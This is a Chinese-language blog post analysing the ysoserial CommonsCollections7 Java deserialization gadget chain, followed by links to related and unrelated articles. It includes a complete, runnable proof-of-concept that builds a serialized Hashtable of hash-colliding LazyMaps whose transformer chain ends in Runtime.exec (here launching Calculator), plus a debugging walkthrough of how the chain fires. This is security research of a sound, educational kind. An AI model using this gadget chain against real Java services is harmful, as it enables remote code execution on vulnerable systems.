Ysoserial Commons Collections7分析

写在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(实测8u181也可)
CommonsCollections6 CommonsCollections 3.1 - 3.2.1 暂无限制
CommonsCollections7 CommonsCollections 3.1 - 3.2.1 暂无限制

CC7和CC1差不多,只是触发LazyMap.get()的方式不一样,反序列化的入口点变成了Hashtable类

Payload method chain: 因为chain发生了一些变化,这里贴出来先留个印象,放便后续调试时理解

  java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}

PoC分析

前面部分基本都是CC1的老内容了,主要看下后面有关于Hashtable部分,主要是下面的一段代码

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()方法new了两个LazyMap对象

抛出问题:注意这里的LazyMap中的yyzZ,这个命名是有说法的。

reconstitutionPut方法中,可以看到zZyy的hash是一样的,但是重点在于index的值,如果不符合语法会导致无法进入for循环也就触发不了后续的利用链

(transformerChain是new的一个空ChainedTransformer对象)后续将这两个LazyMap对象作为参数传入hashtable.put()方法并put两次。抛出问题:为什么要put两次?

调试时发现在Hashtable#readObject()方法有如下一个循环,在这个for循环中去调用的reconstitutionPut方法

第一次循环调用reconstitutionPut方法时并不会走进chain中提到的equals方法,因为tab[index]的值是0,后面才会对tab[index]进行赋值。

第二次才能进入for循环进而调用if判断中的equals方法,这也是为什么hashtable要put两次的原因

调试分析

Hashtable#readObject()下断点,debug,跟进到reconstitutionPut方法

上面也提到了,第一次循环时并不能进入equals方法,这里略去,直接跟进到第二次循环的时候,调用的是LazyMap#equals方法,继续跟进,这里调用的其实是org/apache/commons/collections/map/AbstractMapDecorator的equals方法

调用AbstractMapequals方法

AbstractMap#equals()方法中最终调用了LazyMap.get()

后续就是进入ChainedTransformer#transform()方法,老生常谈的东西了,最终是在InvokerTransformer#transform()中反射调用exec执行命令

END

至此CC1-7就都分析完了,后面几个链分析的内容比较少,大部分都是前面的内容如果觉得不详细可以看之前写的CC1-3的文章,基本都涵盖了后面分析时没深入写的老生常谈的东西。后续应该会去跟一下ysoserial的源码,虽然之前分析URLDNS的时候就简单看过如何生成payload。但是分析cc的时候就没用ysoserial项目的源码(因为封装的太多了:D)之后可能会把CC8-10拿出来写成ysoserial的payload放进去。

Reference

https://www.anquanke.com/post/id/248169

https://www.cnblogs.com/nice0e3/

Ysoserial Commons Collections7分析的更多相关文章

  1. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  2. Ysoserial Commons Collections2分析

    Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...

  3. Ysoserial Commons Collections3分析

    Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  4. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  5. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  6. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  7. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  8. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  9. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

随机推荐

  1. Hopper Disassembler系列之Sublime Text 3 爆破

    https://www.52pojie.cn/thread-793069-1-1.html 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9. 当参数 ...

  2. MySQL版本浅介

    一.关于MySQL发行版介绍: 1. MySQL官方发行版 MySQL是最流行的数据库,主要特点: 简单:MySQL使用很简单,可以无师自通地参照文档安装运行和使用MySQL,几乎没有什么门槛. 开源 ...

  3. 单片机学习(十二)1-Wire通信协议和DS18B20温度传感器

    目录 一.DS18B20 1. DS18B20简介 2. 电路原理图 3. 内部结构 内部完整结构框图 存储器结构 二.单总线(1-Wire BUS) 1. 单总线简介 2. 电路规范 3. 单总线的 ...

  4. C# 获取应用程序内存

    double usedMemory = 0;             Process p = Process.GetProcesses().Where(x => x.ProcessName.Co ...

  5. python中模块与包

    #模块与包#在实际项目中,代码的行数可能上万,甚至上几十万,不可能在一个页面内完成,需要多个程序员通力写作#张三,李四,王五......每天收集大家的代码做一个版本,类似乐高积木一样,每个人负责一部分 ...

  6. Jupyter Notebook 修改字体和大小

    1 打开这个目录 D:\SoftWare\Anaconda\Lib\site-packages\notebook\static\custom 点开这个 也就是你安装的 python下面的 jupyte ...

  7. java web 项目中web.xml 详解

    web.xml详述: web.xml 是每个Java web 项目的必备文件,又叫做部署描述符,Servlet规范中定义的,是web应用的配置文件. 概念: .部署描述符文件就像所有XML文件一样,必 ...

  8. Feign超时不生效问题

    使用Feign作为RPC调用组件,可以配置连接超时和读取超时两个参数 使用Feign配置超时需要注意:Feign内部使用了负载均衡组件Ribbon,而Ribbon本身也有连接超时和读取超时相关配置一. ...

  9. DS博客作业03--树

    这个作业属于哪个班级 数据结构--网络2011/2012 这个作业的地址 DS博客作业03--树 这个作业的目标 学习树结构设计及运算操作 姓名 黄静 目录 0. PTA得分截图 1. 本周学习总结 ...

  10. requests接口自动化-数据库参数化

    数据库参数化的场景 部分接口,参数其他方式获取不到,可以去数据库去获取,如手机验证码 安装pymysql 配置文件 def sql_conf(): # 定义数据库的配置 host='127.0.0.1 ...